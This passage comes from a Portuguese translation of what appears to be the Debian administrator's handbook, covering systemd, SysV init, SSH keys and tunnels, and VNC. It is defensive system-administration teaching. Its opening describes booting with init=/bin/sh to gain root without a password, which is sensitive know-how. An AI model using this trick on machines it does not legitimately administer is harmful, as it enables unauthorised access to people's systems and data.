Por convenção, o primeiro processo que é carregado é o programa init ( que é uma
ligação simbólica para /lib/systemd/systemd, por padrão). Contudo, é possível
passar uma opção init para o kernel indicando um programa diferente.

Qualquer pessoa que é capaz de acessar o computador e poder pressionar o botão
Reset, e, portanto reinicia-lo . Então, no prompt do inicializador do sistema, é pos-
sível passar opção init=/bin/sh para o kernel e ganhar acesso root sem no saber
a senha de administrador.

Para evitar isso, você pode proteger o bootloader com uma senha. Você também
pode pensar em proteger o acesso ao BIOS (um mecanismo de proteção por senha
geralmente é disponível), sem que um intruso mal-intencionado ainda possa iniciar
a máquina por uma mídia removível que contém o seu próprio sistema Linux, que
pode então usar para acessar dados sobre discos rígidos do computador.

Finalmente, esteja ciente que a maioria das BIOS tem uma senha genérica dispo-
nível. Inicialmente destinado a solução de problemas para aqueles que esquece-
ram sua senha, essas senhas são agora público e disponível na Internet (veja por si
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mesmo procurando por ”senhas genéricas” do BIOS em um motor de busca). To-
das estas proteções deverá impedir o acesso não autorizado para a máquina sem
ser capaz de impedir completamente. Não há nenhumamaneira confiável para pro-
teger um computador se o atacante pode acessar fisicamente ela, pois eles podem
desmontar os discos rígidos para conectá-los a um computador sob seu próprio
controle de qualquer maneira, ou até mesmo roubar a máquina inteira, ou apagar
a memória do BIOS para redefinir a senha…

O systemd executa vários processos, se encarregando de configurar o sistema: teclados, drivers,
sistemas de arquivos, rede, serviços. Ele faz isso enquanto mantem uma visão global do sistema
como um todo, e os requerimentos dos componentes. Cada componente é descrito por um ”ar-
quivo unit” (às vezes mais); a sintaxe geral é derivada do amplamente usado ”arquivos *.ini“,
com os pares chave = valor agrupados entre cabeçalhos [seção (”section”)]. Arquivos unit são
armazenados em /lib/systemd/system/ e /etc/systemd/system/; eles vem em vários sabo-
res, mas nós iremos focar nos “services” e “targets” aqui.
Um ”arquivo service” do systemd descreve um processo gerenciado pelo systemd. Ele contém,
grosseiramente, a mesma informação dos antigos scripts init, mas com expressão de maneira
declaratória (e muito mais concisa). O systemd maneja a massa de tarefas repetitivas (iniciar e
para processo, checar seu status, ”logging”, descarte de privilégios e muito mais), e o arquivo
service apenas precisa preencher as especificações do processo. Por exemplo, aqui está um ar-
quivo service para o SSH:
[Unit]
Description=OpenBSD Secure Shell server
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=sshd.service

Como você pode ver, existe muito pouco código nele, apenas declarações. O systemd cuida
da exibição dos relatórios de progresso, mantendo os rastros dos processos, e até mesmo
reiniciando-os quando necessário.
O “arquivo target” do systemd descreve o estado do sistema, aonde um conjunto de serviços
são conhecidos como estando operacionais. Ele pode ser pensado como um equivalente ao
runlevel no estilo antigo. Um dos alvos (”targets”) é local-fs.target; quando ele é alcançado, o
resto do sistema pode assumir que todos os sistemas de arquivos locais estão montados e acessí-
veis. Outros alvos (”targets”) incluem network-online.target e sound.target. As dependências de
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um alvo (”target”) podem ser listadas tanto dentro de um arquivo target (na linha Requires=),
quanto usando uma ligação simbólica para um arquivo service do diretório /lib/systemd/sys-
tem/targetname.target.wants/. Por exemplo, /etc/systemd/system/printer.target.wants/
contém uma ligação para /lib/systemd/system/cups.service; o systemd irá então garantir
que o CUPS está rodando a fim de alcançar o printer.target.
Como arquivos unit são declarativos ao invéz de scripts ou programas, eles não podem ser ro-
dados diretamente, e eles só são interpretados pelo systemd; vários utilitários, entretanto, per-
mitem que o administrador interaja com o systemd e controle o estado do sistema e de cada
componente.
O primeiro de tais utilitários é o systemctl. Quando rodado sem argumentos, ele lista todos os
arquivos unit conhecidos pelo systemd (exceto aqueles que tenham sido desabilitados), assim
como seus status. O systemctl status retorna uma visão melhor dos serviços, assim como
os processos relacionados. Se o nome do serviço for informado (como em systemctl status
ntp.service), ele retorna ainda mais detalhes, assim como as últimas linhas de registro (”log”)
relacionadas ao serviço (mais sobre isso mais tarde).
Iniciar um serviço a mão é uma simples questão de rodar systemctl start
nomedoserviço.service. Como se pode imaginar, para o serviço é feito com systemctl
stop nomedoserviço.service; outros subcomandos incluem reload e restart.
Para controlar se um serviço está ativo (ou seja, se ele será iniciado automaticamente na inicia-
lização), use systemctl enable nomedoserviço.service (ou disable). is-enabled permite
checar o status do serviço.
Um recurso interessante do systemd é que ele inclui um componente de ”logging” de nome
journald. Ele vem como um complemento para sistemas de ”logging” mais tradicionais, tal
como o syslogd, mas ele adiciona recursos interessantes tal como uma ligação formal entre um
serviço e as mensagens que ele gera, e a habilidade de capturar mensagens de erro geradas pela
sua sequência de inicialização. As mensagens podem ser exibidas mais tarde, com um pequena
ajuda do comando journalctl. Sem qualquer argumento, ele simplismente derrama todas as
mensagens de ”log” que ocorreram desde a inicialização do sistema; ele raramente será usado
de tal maneira. Na maior parte do tempo, ele será usado com um identificador de serviço:

# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST.

å --
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129

å port 53394 ssh2
Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user

å roland by (uid=0)
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Outra opção de linha de comando útil é a -f, que instrui o journalctl a manter a exibição de
novas mensagens assim que elas são emitidas (similar ao tail -f arquivo).
Se um serviço não parece estar trabalhando como o esperado, o primeiro passo para resolver
o problema é checar se o serviço está realmente rodando com systemctl status; se ele não
está, e as mensagens obtidas pelo primeiro comando não são suficientes para diagnosticar o
problema, confira os registros (”logs”) coletados pelo journald sobre esse serviço. Por exemplo,
suponha que o servidor SSH não esteja funcionando:
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)
Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
å status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,

å refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST.

å --
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129

å port 38742 ssh2
Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user

å roland by (uid=0)
Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option

å ”yess”.
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

å status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option

å ”yess”.
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

å status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option

å ”yess”.
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

å status=255/n/a
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Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option

å ”yess”.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

å status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option

å ”yess”.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,

å status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,

å refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# vi /etc/ssh/sshd_config
# systemctl start ssh.service
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Main PID: 1222 (sshd)
CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D
#

Após checar o status do serviço (failed), nós fomos checar os registros (”logs”); eles indicam um
erro no arquivo de configuração. Após editar o arquivo de configuração e consertar o erro, nós
reiniciamos o serviço, e então verificamos se ele está realmente rodando.

INDO ALÉM

Outros tipos de arquivos
unit

Nesta seção, nós apenas descrevemos as mais básicas capacidades do systemd. Ele
oferece muitos outros recursos interessantes; nós iremos listar apenas alguns aqui:

• ativação de ”socket”: um arquivo unit “socket” pode ser usado para des-
crever um ”socket” de rede ou Unix gerenciado pelo systemd; isso signi-
fica que o ”socket” será criado pelo systemd, e o real serviço pode ser ini-
ciado por requisição (”on demand”) quando uma real tentativa de conexão
vier. Isso, grosseiramente, replica o recurso configurado pelo inetd. Veja
systemd.socket(5).

• timers: um arquivo unit “timer” descreve eventos que ocorrem com uma
frequência fixa ou em horários específicos; quando um serviço é ligado
a tal timer, a tarefa correspondente será executada sempre que o timer
for acionado. Isso permite replicar parte dos recursos do cron. Veja
systemd.timer(5).

• network: um arquivo unit ”network” descreve uma interface de rede, que
permite a configuração de tais interfaces assim como expressar que um ser-
viço dependa de uma interface em particular levantada.
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9.1.2. O sistema init System V

O sistema init System V (que nós iremos chamar init para abreviar) executa vários processos,
seguindo instruções a partir do arquivo /etc/inittab. O primeiro programa que é executado
(o que corresponde ao passo sysinit) é /etc/init.d/rcS , um script que executa todos os pro-
gramas que eestão dentro do diretório /etc/rcS.d /.
Entre estes,você encontrará sucessivamente programas responsáveis pela:

• configurar o teclado do console;
• carregando drivers: a maioria dos módulos do kernel serão carregados por si assim que
o hardware seja detectado; drivers extra então são carregado automaticamente quando o
modulo correspondente seja listado em /etc/modules;

• checar a integridade do sistema de arquivos;
• montar partições locais;
• configuração da rede;
• mountando sistemas de arquivos em rede (NFS).

DE VOLTA AO BÁSICO

Kernel modules and
options

Os módulos do kernel também tem opções que podem ser configuradas colocando
alguns arquivos em /etc/modprobe.d/ . Essas opções são definidas com as dire-
tivas como esta: opçõesnome do módulonome da opção=valor da opção . Vá-
rias opções podem ser especificadas com uma única diretiva, se necessário.

Estes arquivos de configuração são destinados para o modprobe - o programa que
carrega um módulo do kernel com suas dependências (módulos podem realmente
chamar outros módulos). Este programa é fornecido pelo pacote kmod.

Após este estágio, o init assume o controle e inicializa os programas habilitados no nível de exe-
cução padrão (que geralmente é no nível de execução 2). Ele executa o /etc/init.d/rc 2, um
script que inicia todos os serviços que estão listados em /etc/rc2.d/ e que os nomes começam
com a letra ”S”. O número de duas casas que se segue tinha sido historicamente utilizado para
definir a ordem em que os serviços devem de ser iniciados. Atualmente, o sistema de inicializa-
ção padrão usa insserv, o qual agenda automaticamente tudo, baseado nas dependências dos
scripts. Desta forma, cada script de inicialização declara as condições que devem ser cumpridas
para iniciar ou parar um serviço (por exemplo, se ele deve começar antes ou depois de outro
serviço); o init em seguida, lança-os na ordem que satisfaça estas condições. A numeração
estática dos scripts, portanto, não é mais levada em consideração (mas eles sempre devem ter
um nome começando por ”S” seguido por dois digitos e o nome atual do script usado por suas
dependências). Geralmente, serviços base (tal como registros com o rsyslog, ou numeração
de portas com portmap) são inicializados primeiro, seguidos por serviços padrões e a interface
gráfica (gdm3).
Este sistema de inicialização baseado em dependência torna possível automatizar a numeração,
que poderia ser um pouco entediante se tivesse que ser feito manualmente, e limita os riscos de
erro humano, já que o agendamento é realizado de acordo com os parâmetros indicados. Outro
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benefício é que os serviços podem ser iniciados em paralelo quando são independentes um do
outro, que pode acelerar o processo de inicialização.
init distingue vários runlevels, então para que ele possa alternar de um para outro com o
comando telinitnew-level. Imediatamente,init executa /etc/init.d/rc novamente com
novo runlevel. Este script irá, em seguida, iniciar os serviços ausentes e interromper aqueles
que não são mais desejado. Para fazer isso, ele se dirige ao conteúdo do /etc/rcX.d(onde X re-
presenta o novo runlevel).Scripts começando com ”S” (como em ”Start”) são serviços iniciados;
aqueles que iniciam com ”K” (como em ”Kill”) são os serviços interrompidos. O script não inicia
qualquer serviço que já estava ativo em runlevel anterior.
Por padrão, o init System V no Debian usa quatro runlevels diferentes:

• Nível 0 é usada apenas temporariamente, enquanto o computador está desligando. Como
tal, ele só contém muitos scripts de ”K”.

• Nível 1, também conhecido como modo de usuário único, corresponde ao sistema em
modo degradado; inclui apenas os serviços básicos e destina-se para operações de ma-
nutenção onde interações com usuários comuns não são desejadas.

• Nível 2 é o funcionamento normal, o que inclui serviços de rede, uma interface gráfica,
logons de usuário, etc.

• Nível 6 é semelhante ao nível 0, exceto que é utilizada durante a fase de desligamento que
precede uma reinicialização.

Existem outros níveis, especialmente de 3 a 5. Por padrão, eles são configurados para operar
da mesma maneira como nível 2, mas o administrador pode modificá-los (adicionando ou ex-
cluindo os scripts nos diretórios correspondentes /etc/rcX.d) para adaptá-los às necessidades
específicas.
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Figura 9.2 Seqüência de inicialização de um computador rodando Linux com o init System V

Todos os scripts contidos nos vários diretórios /etc/rcX.d são na verdade apenas links simbóli-
cos— criados durante a instalação de pacotes pelo programa update-rc.d—apontando para os
scripts atuais que são armazenados no /etc/init.d/. O administrador pode ajustar os serviços
disponíveis em cada nível de execução reexecutando o update-rc.d com parâmetros de ajuste.
A página de manual do update-rc.d(1) descreve a sintaxe em detalhes. Note que remover to-
dos os links simbólicos (com o parâmetro remove) não é um bom método para desabilitar um
serviço. Ao invés disto você deve apenas configurar ele para não iniciar no nível de execução
desejado (enquanto preserva as chamadas correspondentes para parar ele no caso do serviço
iniciar num nível de execução anterior). Uma vez que o update-rc.d tem uma interface de
certa forma ”convoluted”, você pode preferir usar rcconf (do pacote rcconf ) que fornece uma
interface de usuários mais amigável.

POLÍTICA DEBIAN

Reiniciando serviços
Os scripts de manutenção para os pacotes Debian algumas vezes irão reiniciar al-
guns serviços para garantir a sua disponibilidade ou levá-los a tomar certas opções
em conta. O comando que controla um serviço -- service serviço operação -
não leva em consideração o nível de execução (”runlevel”), assume (erroneamente)
que o serviço está sendo usado, e pode, assim, iniciar operações incorretas (co-
meçando um serviço que estava deliberadamente interrompido ou interromper
um serviço que já esta parado, etc.) Portanto o Debian introduziu o programa
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invoke-rc.d: este programa deve ser usado por scripts de manutenção para exe-
cutar serviços de scripts de inicialização e isso só irão executar os comandos neces-
sários. Observe que, ao contrário do uso comum, o sufixo .d é usado aqui em um
nome de programa, e não em um diretório.

Finalmente, init começa a controla programas para vários consoles virtuais (getty). Ele exibe
um prompt, esperando por um nome de usuário, em seguida, executa o usuário login user
para iniciar uma sessão.

VOCABULÁRIO

Console e terminal
Os primeiros computadores eram geralmente separados em diversas, peças muito
grandes: o compartimento de armazenamento e unidade central de processamento
foram separados dos dispositivos periféricos usados pelos operadores para controlá-
los. Estes eram parte de umamobília separada, o ”console”. Este termo foi mantido,
mas seu significado foi alterado. Tornou-se mais ou menos sinônimo de ”terminal”,
sendo um teclado e uma tela.

Com o desenvolvimento de computadores, sistemas operacionais tem oferecido vá-
rios consoles virtuais para permitir várias sessões independentes ao mesmo tempo,
mesmo se houver apenas um teclado e tela. A maioria dos sistemas GNU/Linux
oferecem seis consoles virtuais (modo texto), acessíveis, digitando as combinações
de teclas Control+Alt+F1 through Control+Alt+F6.

Por extensão, os termos ”console” e ”terminal” também pode se referir a um emu-
lador de terminal em uma sessão X11 gráfica (como xterm, gnome-terminal ou
konsole).

9.2. Login remoto

É essencial para o administrador ser capaz de se conectar a um computador remotamente. Ser-
vidores, confinados em seu quarto, raramente são equipados com permanentes teclados e mo-
nitores — mas eles estão conectados à rede.

DE VOLTA AO BÁSICO

Cliente, servidor
Um sistema onde vários processos comunicarem é frequentemente descrito com a
metáfora de ”cliente/servidor”. O servidor é o programa que recebe as solicitações
provenientes de um cliente e os executa. É o cliente que controla as operações, o
servidor não toma qualquer iniciativa própria.

9.2.1. Login remoto seguro: SSH

O protocolo SSH (Secure SHell) foi projetado com segurança e confiabilidade em mente. Cone-
xões usando SSH estão seguras: o parceiro é autenticado e todas as trocas de dados criptografa-
das.
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CULTURA

Telnet e RSH estão
obsoletos

Antes do SSH, Telnet e RSH eram as principais ferramentas usadas para fazer login
remotamente. Elas são agora totalmente obsoletas e não devem mais ser usadas,
mesmo que o Debian ainda forneça elas.

VOCABULÁRIO

Autenticação,
criptografia

Quando você precisar dar um cliente a capacidade de conduzir ou desencadear
ações em um servidor, a segurança é importante. Você deve garantir a identidade
do cliente; Esta é a autenticação. Esta identidade geralmente consiste de uma senha
que deve ser mantida em segredo, ou qualquer outro cliente pode obter a senha.
Este é o propósito da criptografia, que é uma forma de codificação que permite
que dois sistemas de comunicação de informações confidenciais sobre um canal
público, protegendo-o de ser lido por outros.

Autenticação e criptografia, muitas vezes são mencionados juntos, porque eles são
freqüentemente usados em conjunto, tanto porque eles geralmente são implemen-
tados com conceitos matemáticos semelhantes.

SSH também oferece dois serviços de transferência de arquivo. scp é uma ferramenta de linha
de comando que pode ser usada como cp, exceto que qualquer caminho a outra máquina é pre-
fixado com o nome da máquina, seguido por dois-pontos.
$ scp arquivo máquina:/tmp/

sftp é um comando interativo, semelhante ao ftp. Em uma única sessão, o sftp pode transferir
vários arquivos, e com ele é possível manipular arquivos remotos (apagar, renomear, alterar
permissões, etc.).
O Debian usa o OpenSSH, uma versão livre do SSH mantido pelo projeto OpenBSD (um sistema
operacional livre baseado no kernel BSD, focado em segurança) e uma bifurcação do programa
original SSH desenvolvido pela empresa SSH Communications Security Corp, da Finlândia. Esta
empresa desenvolveu inicialmente o SSH como software livre, mas num dadomomento decidiu
continuar o seu desenvolvimento sob uma licença proprietária. O projeto OpenBSD criou então
o OpenSSH para manter uma versão gratuita do SSH.

DE VOLTA AO BÁSICO

Fork

Uma ramificação (”fork”), na área de software, significa um novo projeto que se
inicia como um clone de um projeto existente, e que vai competir com ele. A partir
daí, ambos os softwares irão divergir rapidamente em termos de novos desenvolvi-
mentos. Uma ramificação é frequentemente o resultado de divergências dentro da
equipe de desenvolvimento.

A opção de ramificar um projeto é um resultado direto da própria natureza do soft-
ware livre, uma ramificação é um evento saudável, quando se permite a continuação
de um projeto como software livre (por exemplo, em caso de alterações de licença).
Uma ramificação decorrente de divergências técnicas ou pessoais é muitas vezes
um desperdício de recursos humanos; outra resolução seria preferível. Já se tem
notícia de fusões de dois projetos que já passaram por uma divisão anterior.

OOpenSSH é dividido emdois pacotes. A parte do cliente está no pacote openssh-client, e o pacote
do servidor está no openssh-server. O meta-pacote ssh depende de ambas as partes e facilita a
instalação de ambos (apt install ssh).
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Autenticação Baseado em Chave

Cada vez que alguém se conecta por SSH, o servidor remoto pede uma senha para autenticar o
usuário. Isto pode ser problemático se você quiser automatizar uma conexão, ou se você usar
uma ferramenta que requer conexões frequentes com o SSH. Por este motivo que o SSH oferece
um sistema de autenticação baseado em chave.
O usuário gera umpar de chaves namáquina cliente com ssh-keygen -t rsa; a chave pública é
armazenada em ~/.ssh/id_rsa.pub,enquanto o chave privada correspondente é armazenada
em ~/.ssh/id_rsa.O usuário em seguida usa ssh-copy-id server para adicionar a sua chave
pública no servidor ~/.ssh/authorized_keys.Se a chave privada não estava protegida por uma
”senha” nomomento de sua criação, todos os logins subsequentes sobre o servidor vão funcionar
sem uma senha.Caso contrário, a chave privada deve ser decifrada a cada momento digitando
a senha.Felizmente, ssh-agent nos permite manter as chaves privadas na memória para não
ter que re-digitar com frequencia a senha.Para isso, basta usar ssh-add (uma vez por sessão
de trabalho),desde que a sessão já está associado a uma instância funcional do ssh-agent.O
Debian ativa por padrão nas sessões gráficas, mas isso pode ser desativado alterando /etc/X11/
Xsession.options.Para uma sessão de console, você pode iniciá-lo manualmente com eval
$(ssh-agent).

SEGURANÇA

Proteção da chave
privada

Quem tem a chave privada pode fazer login na conta, assim, configurada. É por
isso que o acesso para a chave privada é protegida por uma ”frase”. Alguém que
adquire uma cópia de um arquivo de chave privada (por exemplo,~/.ssh/id_rsa)
ainda tem de saber esta frasea fim de ser capaz de usá-la. Esta proteção adicional
não é, no entanto, impenetrável, e se você acha que esse arquivo foi comprometido,
é melhor desativar essa chave nos computadores em que foi instalado (para removê-
lo  authorized_keys files) e substituia com uma chave recentemente gerada.

CULTURA

Falha do OpenSSL no
Debian Etch

A biblioteca OpenSSL, como era inicialmente fornecida no Debian Etch, tinha um
grave problema no seu gerador de número aleatório (Random Number Generator
- RNG). De fato, o mantenedor Debian tinha feito uma mudança para que aplica-
ções usando ela não gerassem avisos quando analisadas por ferramentas de teste
de memória como valgrind.Infelizmente, esta mudança também significou que
o RNG estava empregando apenas uma fonte de entropia que corresponde ao nú-
mero do processo (PID), cujos 32.000 possíveis valores não oferecem aleatoriedade
suficiente.

è http://www.debian.org/security/2008/dsa-1571

Especificamente, sempre que OpenSSL era utilizado para gerar uma chave, sempre
produzia uma chave dentro de um conjunto conhecido de centenas de milhares de
chaves (32.000 multiplicada para um pequeno número de comprimentos de chave).
Isso afetou as chaves SSH, chaves SSL e certificados X.509 usados por inúmeras
aplicações, tais como o OpenVPN. Um cracker só tinha que tentar todas as cha-
ves para ganhar acesso não autorizado. Para reduzir o impacto do problema, o
daemon SSH foi modificado para recusar chaves problemáticas que estão listadas
nos pacotes openssh-blacklist e openssh-blacklist-extra. Além disso, o comando
ssh-vulnkey permite a identificação de chaves possivelmente comprometidas no
sistema.
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Uma análise mais completa deste incidente mostra que ele é o resultado de múl-
tiplos (pequenos) problemas, tanto dentro do projeto OpenSSL, como com o man-
tenedor do pacote Debian. Uma biblioteca amplamente utilizada como OpenSSL
não deveria - semmodificações - gerar advertências quando testada pelo valgrind.
Além disso, o código (especialmente as partes sensíveis como o RNG) deveria ser
mais bem comentado para evitar tais erros. Pelo lado do Debian, o mantenedor
queria validar as modificações com os desenvolvedores do OpenSSL, mas simples-
mente explicou as modificações sem fornecer-lhes o patch correspondente para
revisão e falhou em mencionar seu papel dentro do Debian. Finalmente, as esco-
lhas de manutenção não eram as ideais, as mudanças feitas no código original não
eram documentadas com clareza; todas as modificações eram efetivamente arma-
zenadas em um repositório Subversion, mas elas acabaram todos agrupadas em um
único patch durante a criação do pacote fonte.

It is difficult under such conditions to find the corrective measures to prevent such
incidents from recurring. The lesson to be learned here is that every divergence
Debian introduces to upstream software must be justified, documented, submitted
to the upstream project when possible, and widely publicized. It is from this pers-
pective that the new source package format (“3.0 (quilt)”) and the Debian sources
webservice were developed.

è http://sources.debian.org

Usando Aplicações X11 Remotamente

O protocolo SSH permite o encaminhamento de dados gráficos (sessão “X11”, a partir do nome
do sistema gráfico mais difundido no Unix); o servidor então mantém um canal dedicado para
esses dados. Especificamente, um programa gráfico executado remotamente pode ser exibido
no servidor X.org da tela local, e toda a sessão (entrada e exibição) será segura. Como essa fun-
cionalidade permite que aplicações remotas interfiram com o sistema local, ela é desabilitada
por padrão. Você pode habilitá-la especificando X11Forwarding yes no arquivo de configura-
ção do servidor (/etc/ssh/sshd_config). Finalmente, o usuário tem que também requisitá-la
adicionando a opção -X na linha de comando do ssh.

Criando Túneis Criptografados com Encaminhamento de Porta

Suas opções -R e -L permitem ao ssh criar “túneis criptografados” entre duas máquinas, enca-
minhando com segurança uma porta TCP local (veja barra lateral TCP/UDP [234]) para uma
máquina remota ou vice versa.

VOCABULÁRIO

Túnel
A Internet, e a maioria das LANs que estão conectadas a ela, operam em modo
pacote (packet) e não em modo conectado (connected), o que significa que um
pacote emitido de um computador para outro fará paradas em vários roteadores
intermediários para encontrar seu destino. Você pode ainda simular uma operação
de conectação (connected) aonde o fluxo (stream) é encapsulada em pacotes IP
normais. Esses pacotes seguem sua rota usual, mas o fluxo (stream) é rescontruído
sem mudanças até o destino. Nós chamamos isso de “túnel”, em analogia a uma
estrada com túnel aonde veículos vão diretamente da entrada (input) para a saída
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(output) sem encontrarem nenhum cruzamento, em oposição a um caminho na
superfície que envolveria interseções e mudanças de direção.

Você pode usar essa oportunidade para adicionar criptografia ao túnel: o fluxo
(stream) que flui através dele seria então irreconhecível por quem está de fora, mas
retornaria ao forma sem criptografia na saída do túnel.

ssh -L 8000:server:25 intermediary estabeleceuma sessão SSH com a máquina intermedi-
ary e escuta pela porta local 8000 (veja Figura 9.3, “Encaminhando uma porta local com SSH”
[206]). Para qualquer conexão estabelecida por esta porta, ssh irá iniciar uma conexão a partir
do computador intermediary na porta 25 no server, e irá ligar as duas conexões.
ssh -R 8000:server:25 intermediary também estabelece uma sessão SSH com o computa-
dor intermediary, mas nessa máquina que o ssh ouve na porta 8000 (veja Figura 9.4, “Encami-
nhando uma porta remota com SSH” [207]). Qualquer conexão estabelecida nesta porta fará
com que o ssh abrir uma conexão a partir da máquina local na porta 25 do server, e fazer a liga-
ção das duas conexões.
Nos dois casos, as conexões são feitas pela porta 25 namáquina (host) server, que passa pelo túnel
SSH estabelecido entre a máquina local e a máquina intermediary. No primeiro caso, a entrada
do túnel é a porta local 8000, e os dados se movem em direção a máquina intermediary antes de
ser direcionada ao server na rede “pública”. No segundo caso, a entrada e a saída do túnel são
invertidas; a entrada é a porta 8000 na máquina intermediary, a saída é na máquina (host) local,
e os dados são então direcionados para o server. Na prática, o servidor é usualmente a máquina
local ou a intermediária. Dessa forma o SSH mantém segura a conexão de uma ponta a outra.

Figura 9.3 Encaminhando uma porta local com SSH
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Figura 9.4 Encaminhando uma porta remota com SSH

9.2.2. Usando Ambientes Gráficos Remotamente

O VNC (Virtual Network Computing) permite o acesso remoto ao ambiente de trabalho (desk-
tops) gráfico.
Essa ferramenta é, na maioria das vezes, usada para assistência técnica; o administrador pode
ver os erros com os quais o usuário está enfrentando, e mostrar a eles um curso de ação correto,
sem estar fisicamente presente.
First, the usermust authorize sharing their session. TheGNOMEgraphical desktop environment
in Jessie includes that option in its configuration panel (contrary to previous versions of Debian,
where theuser had to install and runvino). KDEPlasma still requires usingkrfb to allow sharing
an existing session over VNC. For other graphical desktop environments, the x11vnc command
(from the Debian package of the same name) serves the same purpose; you canmake it available
to the user with an explicit icon.
When the graphical session is made available by VNC, the administrator must connect to it with
aVNC client. GNOMEhas vinagre and remmina for that, while the KDE project provides krdc (in
the menu at K→ Internet→ Remote Desktop Client). There are other VNC clients that use the
command line, such as xvnc4viewer in the Debian package of the same name. Once connected,
the administrator can see what is going on, work on the machine remotely, and show the user
how to proceed.

SEGURANÇA

VNC sobre SSH
Se você quer fazer a conexão pelo VNC, e você não quer que seus dados sejam
enviados em texto puro pela rede, é possível encapsular os dados através de um tú-
nel SSH (veja Seção 9.2.1.3, “Criando Túneis Criptografados com Encaminhamento
de Porta” [205]). Você simplesmente tem que saber que o VNC usa a porta 5900
por padrão para a primeira tela (called “localhost:0”), 5901 para a segunda (called
“localhost:1”), etc.

O comando ssh -L localhost:5901:localhost:5900 -N -T máquina cria um
túnel entre a porta local 5901 na interface localhost e a porta 5900 da máquina
”host”. O primeiro “localhost” restringe o SSH a ouvir apenas nesta interface na
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máquina local. O segundo “localhost” indica a interface na máquina remota a
qual irá receber o tráfego de rede entrando em “localhost:5901”. Assim vncviewer
localhost:1 irá conectar o cliente VNC a tela remota, mesmo que você indique o
nome da máquina local.

Quando uma sessão VNC é fechada, lembre-se de fechar o túnel por também saindo
da sessão SSH correspondente.

DE VOLTA AO BÁSICO

Gerenciador de tela
gdm3, kdm, lightdm, and xdm são Gerenciadores de Tela. Eles tomam controle da
interface gráfica brevemente depois a inicialização para prover ao usuário uma tela
de login. Uma vez que o usuário tenha feito o login, eles executam os programas
necessários para iniciar uma sessão gráfica de trabalho.

VNC também funcionapara usuáriosmóveis, ou executivos da empresa, os quais ocasionalmente
precisam fazer o login a partir de suas casas para acessar um ambiente de trabalho remoto simi-
lar ao que eles usam no trabalho. A configuração desse tipo de serviço é mais complicada: você
primeiro instala o pacote vnc4server, altera a configuração do gerenciador de tela para aceitar
requisições do XDMCP Query (no gdm3, isso pode ser feito adicionando Enable=true na sessão
